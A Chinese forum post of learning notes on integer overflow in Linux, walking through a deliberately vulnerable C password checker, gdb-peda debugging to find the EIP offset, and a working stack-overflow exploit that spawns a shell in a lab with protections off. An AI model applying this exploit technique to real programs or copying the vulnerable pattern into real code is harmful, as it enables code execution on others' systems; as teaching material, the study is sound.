首页
社区
课程
招聘
[原创]Linux下面整数溢出,学习笔记分享.
2016-5-30 21:56 4710

[原创]Linux下面整数溢出,学习笔记分享.

2016-5-30 21:56
4710
    0x00 准备


依然是在Ubuntu14.04上面关闭安全保护机制,实验代码取自[sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/).

什么是整数溢出?


存储的值超过类型系统最大的表示范围叫interger overflow,小于其最小表示范围叫interger underflow,整数溢出一般不会直接导致任意代码执行,但是会导致栈或者堆溢出间接引发任意代码执行,本笔记打算interger overflow导致stack overflow来说明问题.

类型系统与其的表示范围?


当我们存储值到变量里面,这个在类型语言里面(c, c++, python, haskell...)这个变量表示是有范围限制的,比如当我们打算存2147483648到signed int类型变量里面,在32位系统上面其表示最大值是2^32-1存储这样的值就会导致integer overflow,unsigned int类型其表示范围是2^32-1到0,当存储值小于最小表示下届时候,发生integer underflow.

存在问题示例代码:


/* filename: vuln.c
 * gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
 */
[*]include <stdio.h>
[*]include <string.h>
[*]include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
 char passwd_buf[11];
 unsigned char passwd_len = strlen(passwd); /* [1] */ 
 if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
  printf("Valid Password\n"); /* [3] */ 
  fflush(stdout);
  strcpy(passwd_buf,passwd); /* [4] */
 } else {
  printf("Invalid Password\n"); /* [5] */
  fflush(stdout);
 }
 store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
 if(argc!=3) {
  printf("Usage Error:   \n");
  fflush(stdout);
  exit(-1);
 }
 validate_uname(argv[1]);
 validate_passwd(argv[2]);
 return 0;
}



标号[1]处显示了一个integer overflow,strlen()返回值类型是size_t (ubuntu下面定义为unsigned int), 但是例子代码处用来存储的是个char,char是8bit 显然是不能存储超过2^8-1,超出表示的部分虽然会被截断(虽然strlen()能正确找出,长度eax寄存器也能保存,但是放到password_len变量过程中导致问题),但是如果我们把第二个参数控制在255+5到255+8之间这样就能bypass下面的if检查,这样可以导致基于栈的缓冲区溢出!

  • 0x10 分析

  • 分析密码验证,输入256就已经超越了char的表示范围,可以看下面分析过程观察两次输入的eax寄存器,但这个程度只能算是一个小bug.

    gdb-peda$ r guowang $(python -c 'print "A" * 256')
    gdb-peda$ b validate_passwd 
    [-------------------------------------code-------------------------------------]
       0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]
       0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax
       0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>
    => 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al
       0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3
       0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>
       0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8
       0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>
    ...
    gdb-peda$ info registers al
    al             0xff	0xff
    ...
    gdb-peda$ b validate_passwd 
    ...
    gdb-peda$ r guowang $(python -c 'print "A" * 256')
    ...
    EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]
       0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax
       0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>
    => 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al
       0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3
       0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>
       0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8
       0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>
    ...
    gdb-peda$ info registers al
    al             0x0	0x0
    


    因为下面cmp检查了strlen()的返回值的长度所以:

    [----------------------------------registers-----------------------------------]
    EAX: 0x103 
    ...
    EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x804850d <validate_passwd+6>:	mov    eax,DWORD PTR [ebp+0x8]
       0x8048510 <validate_passwd+9>:	mov    DWORD PTR [esp],eax
       0x8048513 <validate_passwd+12>:	call   0x80483e0 <strlen@plt>
    => 0x8048518 <validate_passwd+17>:	mov    BYTE PTR [ebp-0x9],al
       0x804851b <validate_passwd+20>:	cmp    BYTE PTR [ebp-0x9],0x3
       0x804851f <validate_passwd+24>:	jbe    0x8048554 <validate_passwd+77>
       0x8048521 <validate_passwd+26>:	cmp    BYTE PTR [ebp-0x9],0x8
       0x8048525 <validate_passwd+30>:	ja     0x8048554 <validate_passwd+77>
    [------------------------------------stack-------------------------------------]
    

    这样是构造出绕过if检查的方式,但是导致了crash.

  • 0x20 准备exp

  • 寻找一下哪里覆盖eip.
    gdb-peda$ pattern_arg 2 262
    Set 2 arguments to program
    gdb-peda$ r
    ...
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    ...
    EIP: 0x41414441 ('ADAA')
    ...
    gdb-peda$ r AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')
    Starting program: /home/guowang/lab/vuln AA $(python -c 'print "A" * 26 + "B" * 4 + "C" * (261-4-26)')
    Valid Password
    
    Program received signal SIGSEGV, Segmentation fault.
    ...
    EIP: 0x42424141 ('AABB')
    ...
    gdb-peda$ r AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')
    Starting program: /home/guowang/lab/vuln AA $(python -c 'print "A" * 24 + "B" * 4 + "C" * (261-4-24)')
    Valid Password
    
    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0xbffff584 ('A' <repeats 24 times>, "BBBB", 'C' <repeats 172 times>...)
    EBX: 0xb7fcd000 --> 0x1a9da8 
    ECX: 0xbffff8a0 ("CCCCCCC")
    EDX: 0xbffff682 ("CCCCCCC")
    ESI: 0x0 
    EDI: 0x0 
    EBP: 0x41414141 ('AAAA')
    ESP: 0xbffff5a0 ('C' <repeats 200 times>...)
    EIP: 0x42424242 ('BBBB')
    

    大体上构造完成,把BBBB写入eip,然后正式准备一下使用rop构造一下exp这个整数溢出就算初步利用完成.
    guowang@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
    guowang@warzone:~/lab$ ./getaddr SHELLCODE ./vuln
    SHELLCODE will be at 0xbffff848
    guowang@warzone:~/lab$ ./vuln AA $(python -c 'print "A" * 24 + "\x48\xf8\xff\xbf" + "C" * (261-4-24)')
    Valid Password
    sh-4.3$ id
    uid=1042(guowang) gid=1043(guowang) groups=1043(guowang)
    sh-4.3$ 
    


  • 0x40 现实世界

      0x41 CVE-2012-0711


  • Integer signedness error in the db2dasrrm process in the DB2 Administration Server (DAS) in IBM DB2 9.1 through FP11, 9.5 before FP9, and 9.7 through FP5 on UNIX platforms allows remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow.


    这个CVE是Integer Signedness导致堆溢出后发生任意代码执行,待我学习到heap部分时候,尝试来分析一下这个漏洞,然后分享给大家.

      reference
      [1] [Phrack 0x0b, Issue 0x3c, Phile
    • 0x0a of 0x10](http://phrack.org/issues/60/10.html)
    • [2] [sploitfun](https://sploitfun.wordpress.com/2015/06/23/integer-overflow/)
      [3] [CVE-2012-0711](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0711)

    [培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

    收藏
    点赞1
    打赏
    分享
    最新回复 (4)
    雪    币: 262
    活跃值: (55)
    能力值: ( LV4,RANK:40 )
    在线值:
    发帖
    回帖
    粉丝
    wangguohao 2016-5-30 22:00
    2
    0
    发错地方了,怎么删除 = = 囧了, 或者版主帮我移动一下.
    雪    币: 32401
    活跃值: (18875)
    能力值: (RANK:350 )
    在线值:
    发帖
    回帖
    粉丝
    kanxue 8 2016-5-30 22:02
    3
    0
    移过来了,感谢分享!己转为初级会员了。
    文章格式较规范。
    雪    币: 341
    活跃值: (133)
    能力值: ( LV7,RANK:110 )
    在线值:
    发帖
    回帖
    粉丝
    地狱怪客 2 2016-6-1 11:37
    4
    0
    cve cve ~~~学习
    雪    币: 757
    活跃值: (21)
    能力值: ( LV2,RANK:10 )
    在线值:
    发帖
    回帖
    粉丝
    知花香 2016-6-7 07:59
    5
    0
    一个成语,虽然不懂但是感觉好深奥
    游客
    登录 | 注册 方可回帖
    返回